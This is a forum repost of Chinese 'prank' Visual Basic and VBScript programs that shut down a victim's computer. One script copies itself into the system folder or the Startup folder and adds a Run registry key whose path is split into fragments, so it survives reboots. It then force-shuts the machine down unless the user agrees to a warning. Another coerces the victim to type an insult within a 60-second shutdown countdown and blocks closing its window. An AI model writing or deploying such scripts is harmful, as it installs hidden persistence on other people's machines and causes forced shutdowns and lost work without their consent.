老朋 發表於 2015-9-13 16:59:33

VB关机恶搞小程序

<p>VB关机恶搞小程序一:</p>
<div class="jb51code">
<pre class="brush:vb;">
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&amp;"LM\SOFT"&amp;"WARE\Micr"&amp;"osoft\Win"&amp;"dows\Curren"&amp;"tVersion\R"&amp;"un\wxb"
if (fs.FileExists(dirwin&amp;"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&amp;"\wxb.vbs")
end if

end if

sub Show_And_Do(s)
dim f
r = MsgBox ("警告:请不要随便动我的电脑! " &amp; Chr(13) &amp; Chr(10) &amp; "确定-&gt;下次一定会先征求同意的" &amp; Chr(10) &amp; "取消-&gt;爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&amp;"\wxb.vbs")
f.Delete()
end if
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

</pre>
</div>
<p>上面的有点复杂,那就来个稍微简单的</p>
<p>代码如下:</p>
<div class="jb51code">
<pre class="brush:vb;">
Option Explicit
Const SM_CLEANBOOT = 67
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long

Private Sub Form_Load()
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
End Sub

</pre>
</div>
<p>当你可以采用一个更加简单的写法<br />
直接输入以下代码即可:</p>
<div class="jb51code">
<pre class="brush:vb;">
Private Sub Form_Load()
Shell "cmd /c shutdown -s -t 30"
Rem 后面的 -t 0 表示0秒关机,如果去掉 -t 0 那么默认是30秒关机
End Sub

</pre>
</div>
<p>方法三:</p>
<div class="jb51code">
<pre class="brush:vb;">
Private Sub Command1_Click()
If Text1 = "我是猪" Then
Shell "cmd.exe /c shutdown -a"
MsgBox "哈哈放过你吧!", 64, "提示"
End
End If
End Sub
Private Sub Form_Load()
MsgBox "哈哈你中招了、快说你是猪,否则1分钟就让你电脑关机", 48, "提示"
Shell "cmd.exe /c shutdown -s -t " &amp; 60, vbHide
End Sub
Private Sub Form_Unload(Cancel As Integer)
g = MsgBox("想关掉我???", vbOKCancel + vbQuestion, "关闭窗口")
If g = vbOK Then
Cancel = 11
MsgBox "哈哈你关不掉我的快说我是猪吧", 64, "提示"
End If
If g = 2 Then
Cancel = 11
End If
End Sub
</pre>
</div>
<p></p>
                           
                            <div class="art_xg">
                              <b>您可能感兴趣的文章:</b><ul><li>可以定时自动关机的vbs脚本</li><li>自己写的一个定时关机或重启的vbs脚本</li><li>vbs实现的定时关机、重启的脚本和程序</li><li>vbs实现的eMule电驴自动关机脚本代码</li><li>VBS&nbsp;断网后自动关机30秒后</li><li>Crack8 VBS整人脚本 你不说你爱我 就关机</li><li>VBS中获取系统本次及上次开关机时间的代码(WinXP/win2003/Win7兼容版)</li><li>vb下的恶搞关机程序</li></ul>
                            </div>

                        </div>
                        <!--endmain-->
頁: [1]
查看完整版本: VB关机恶搞小程序